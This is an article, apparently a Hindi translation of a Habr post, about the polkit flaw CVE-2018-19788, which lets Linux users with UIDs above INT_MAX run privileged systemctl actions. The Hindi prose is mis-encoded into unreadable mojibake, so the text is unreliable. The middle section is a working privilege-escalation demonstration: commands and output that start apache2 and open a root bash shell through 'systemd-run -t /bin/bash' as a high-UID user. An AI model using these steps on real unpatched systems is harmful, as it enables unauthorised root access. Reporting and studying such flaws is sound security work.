UID> INT_MAX рдХреЗ рд╕рд╛рде рдЕрдирдкреЗрдХреНрд╖рд┐рдд рд▓рд┐рдирдХреНрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд┐рд╕реА рднреА рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ

рдмреИрдареЛ, рдореЗрд░реЗ рдкрд╛рд╕ рдРрд╕реА рдЦрдмрд░ рд╣реИ рдЬреЛ рдЕрднреА рдЖрдкрдХреЛ рд╣реИрд░рд╛рди рдХрд░ рд░рд╣реА рд╣реИ ...

рд▓рд┐рдирдХреНрд╕ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдПрдХ рдирд┐рд░реНрд╡рд┐рд╡рд╛рдж рднреЗрджреНрдпрддрд╛ рд╣реЛрддреА рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдХрд┐рд╕реА рднреА рд╕рд┐рд╕реНрдЯрдордХреНрдЯреЗрд▓ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХреГрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдФрд░ рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рд░реВрдЯ - рд▓рдЧрднрдЧ рдЕрдиреБрд╡рд╛рджрдХ рдмрди рдЬрд╛рддрд╛ рд╣реИ) рдпрджрд┐ рдЙрд╕рдХрд╛ рдпреВрдЖрдИрдбреА 2147483647 рд╕реЗ рдЕрдзрд┐рдХ рд╣реИред

рдЫрд╡рд┐

рд╡рд░реНрдгрд┐рдд рднреЗрджреНрдпрддрд╛, рдЬрд┐рд╕реЗ CVE-2018-19788 рдХреЗ рд░реВрдк рдореЗрдВ рдЯреНрд░реИрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдкреЙрд▓рд┐рд╕реАрдХреАрдЯ рд▓рд╛рдЗрдмреНрд░реЗрд░реА (рдЬрд┐рд╕реЗ рдкреЛрд▓рдХрд┐рдЯ рдХреЗ рд░реВрдк рдореЗрдВ рднреА рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ) рд╕рдВрд╕реНрдХрд░рдг 0.115 рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ, рдЬреЛ рдХрд┐ Red Hat, Debian, Ubuntu рдФрд░ CentOS рд╕рд╣рд┐рдд рдЕрдзрд┐рдХрд╛рдВрд╢ рд▓реЛрдХрдкреНрд░рд┐рдп рд▓рд┐рдирдХреНрд╕ рд╡рд┐рддрд░рдгреЛрдВ рдкрд░ рдкреВрд░реНрд╡рд╕реНрдерд╛рдкрд┐рдд рд╣реИред рдкреЛрд▓рдХрд┐рдЯ рдпреВрдирд┐рдХреНрд╕-рдЬреИрд╕реА рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдкрд░ рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдиреАрддрд┐рдпреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕реБрдбреЛ рдХреЗ рд╡рд┐рдкрд░реАрдд, рдпрд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╢рд╛рд╕рдХ рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдареАрдХ рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдЕрдиреБрдорддрд┐ рд╣реИ рдФрд░ рдХреНрдпрд╛ рдирд┐рд╖рд┐рджреНрдз рд╣реИред

INT_MAX рд╕реЗ рдЕрдзрд┐рдХ UID рд╡рд╛рд▓реЗ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд▓рд┐рдП PolicyKit рдЕрдиреБрд░реЛрдзреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдореЗрдВ рддреНрд░реБрдЯрд┐ рдХреЗ рдХрд╛рд░рдг рднреЗрджреНрдпрддрд╛ рд╣реИред рдЬрд╣рд╛рдВ INT_MAX рдПрдХ рд╕реНрдерд┐рд░ рд╣реИ рдЬреЛ рдкреВрд░реНрдгрд╛рдВрдХ рдкреНрд░рдХрд╛рд░ рдХреЗ рдкреВрд░реНрдгрд╛рдВрдХ рдЪрд░ рдХрд╛ рдЕрдзрд┐рдХрддрдо рдореВрд▓реНрдп рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИ, рдЬреЛ 2147483647 (рд╣реЗрдХреНрд╕рд╛рдбреЗрд╕рд┐рдорд▓ 0x7FFFFFFF рдореЗрдВ) рд╣реИред

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЕрдЧрд░ рд╣рдо рдХрд┐рд╕реА рднреА рдпреВрдЖрдИрдбреА рдХреЗ рд╕рд╛рде рдПрдХ рдЦрд╛рддрд╛ рдмрдирд╛рддреЗ рд╣реИрдВ рдЬреЛ INT_MAX рд╕реЗ рдЕрдзрд┐рдХ рд╣реИ, рддреЛ рдкреЙрд▓рд┐рд╕реАрдХреАрдЯ рдШрдЯрдХ рдХрд┐рд╕реА рднреА рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрдорд╛рдВрдб рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред

рдЯреНрд╡рд┐рдЯрд░ рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рд░рд┐рд╕рд░реНрдЪрд░ рд░рд┐рдЪ рдорд┐рд░реНрдЪ, рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рдЦреБрдж рдХреЛ " 0xm1rch " рдХреЗ рд░реВрдк рдореЗрдВ рдкреЗрд╢ рдХрд┐рдпрд╛ , рдиреЗ рдПрдХ рдкреНрд░рдорд╛рдг рдЬрд╛рд░реА рдХрд┐рдпрд╛ , рдЬрд┐рд╕рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ рдХрд┐ 4,000,000,000 рдпреВрдЖрдИрдбреА рд╡рд╛рд▓реЗ рдпреВрдЬрд░реНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓рддрд╛ рдХрд╛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдкреНрд░рджрд░реНрд╢рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рдг (PoC)ред

Red Hat рдЕрдиреБрд╢рдВрд╕рд╛ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рд╢рд╛рд╕рдХ рдХрд┐рд╕реА рднреА рдирдХрд╛рд░рд╛рддреНрдордХ UID рдпрд╛ UID рдХреЛ 2147483646 рд╕реЗ рдЕрдзрд┐рдХ рдХреА рдЕрдиреБрдорддрд┐ рди рджреЗрдВ, рддрд╛рдХрд┐ рдкреИрдЪ рдЬрд╛рд░реА рд╣реЛрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╕рдорд╕реНрдпрд╛ рдХрд╛ рдирд┐рд╡рд╛рд░рдг рд╣реЛ рд╕рдХреЗред

рдЕрдиреБрд╡рд╛рджрдХ рд╕реЗ рдСрдкрд░реЗрд╢рди рдХреЗ рдХрдИ рддрд░реАрдХреЗ


рдкрд╣рд▓рд╛ рддрд░реАрдХрд╛ рд╕рд┐рд░реНрдлрд╝ рд╕рд┐рд╕реНрдЯреЗрдХреНрдЯреНрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реИред рдореИрдВрдиреЗ рдПрдХ рдмрдбрд╝реЗ UID рдХреЗ рд╕рд╛рде рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рдпрд╛, рдлрд┐рд░ apache2 рдЪрд▓рд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА:

1) рдкрд╣рд▓реЗ рдЬрд╛рдБрдЪ рдХреА рдХрд┐ рд╡рд╣ рдЭреВрда рдмреЛрд▓ рд░рд╣рд╛ рдерд╛

$ systemctl status apache2 тЧП apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d тФФтФАapache2-systemd.conf Active: inactive (dead) 

2) рд╢реБрд░реВ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА, рд▓реЗрдХрд┐рди рдПрдХ рддреНрд░реБрдЯрд┐ рдорд┐рд▓реА

 $ systemctl start apache2 (process:2820): GLib-GObject-WARNING **: 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) 

3) рд▓реЗрдХрд┐рди рдлрд┐рд░ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд┐рдпрд╛ рдХрд┐ рдпрд╣ рдЕрднреА рднреА рд╢реБрд░реВ рд╣реЛ

 $ systemctl status apache2 тЧП apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d тФФтФАapache2-systemd.conf Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE Main PID: 2829 (apache2) Tasks: 55 (limit: 4526) CGroup: /system.slice/apache2.service тФЬтФА2829 /usr/sbin/apache2 -k start тФЬтФА2830 /usr/sbin/apache2 -k start тФФтФА2831 /usr/sbin/apache2 -k start 

рджреВрд╕рд░рд╛ рддрд░реАрдХрд╛ рд╣реИ рд╕рд┐рд╕реНрдЯрдордб рдХреЗ рдЬрд░рд┐рдП рдмреИрд╢ рдЪрд▓рд╛рдирд╛ред рдореИрдВрдиреЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХреЛ рдЪрд▓рд╛рдпрд╛, рдПрдлрдПрд╕ рдХреЗ рдореВрд▓ рдореЗрдВ рдПрдХ рдЯреЗрдХреНрд╕реНрдЯ рдбреЙрдХреНрдпреВрдореЗрдВрдЯ рдмрдирд╛рдпрд╛, рдЙрд╕рдореЗрдВ рдПрдХ рдкрдВрдХреНрддрд┐ рдЬреЛрдбрд╝реА, рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреА рдЬрд╛рдВрдЪ рдХреА

 $ systemd-run -t /bin/bash (process:3947): GLib-GObject-WARNING **: 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) Running as unit: run-u107.service Press ^] three times within 1s to disconnect TTY. # echo hello > /test.txt # cat /test.txt hello 

рдЕрдкрдиреА ubunt рдореЗрдВ рдкреНрд░рдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп, рдореБрдЭреЗ рдРрд╕рд╛ рдПрдХ рдкреИрдЯрд░реНрди рднреА рдорд┐рд▓рд╛: рдпрджрд┐ рдЗрд╕ рддрд░рд╣ рдХреЗ рдпреВрдЖрдИрдбреА рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддрд╛ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдореЗрдВ рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рд╕рднреА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдЕрдирд▓реЙрдХ рд╣реЛ рдЬрд╛рддреА рд╣реИрдВ, рдЬреЛ рдЖрдкрдХреЛ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░рдиреЗ / рд╣рдЯрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

рд╕рд╡рд╛рд▓ рдпрд╣ рд╣реИ рдХрд┐ рдкреАрдбрд╝рд┐рдд рд╣реЛрд╕реНрдЯ рдкрд░ рдРрд╕реЗ рдпреВрдЖрдИрдбреА рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХрд╛ "рдХрд╛рд░рдг" рдЕрдм рдХреИрд╕реЗ рд╣реИ, рдФрд░ рдХреНрдпрд╛ рдпрд╣ рдмрдЧ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдПрдХ рдЦрддрд░рд╛ рд╣реИ?

Source: https://habr.com/ru/post/hi432610/


All Articles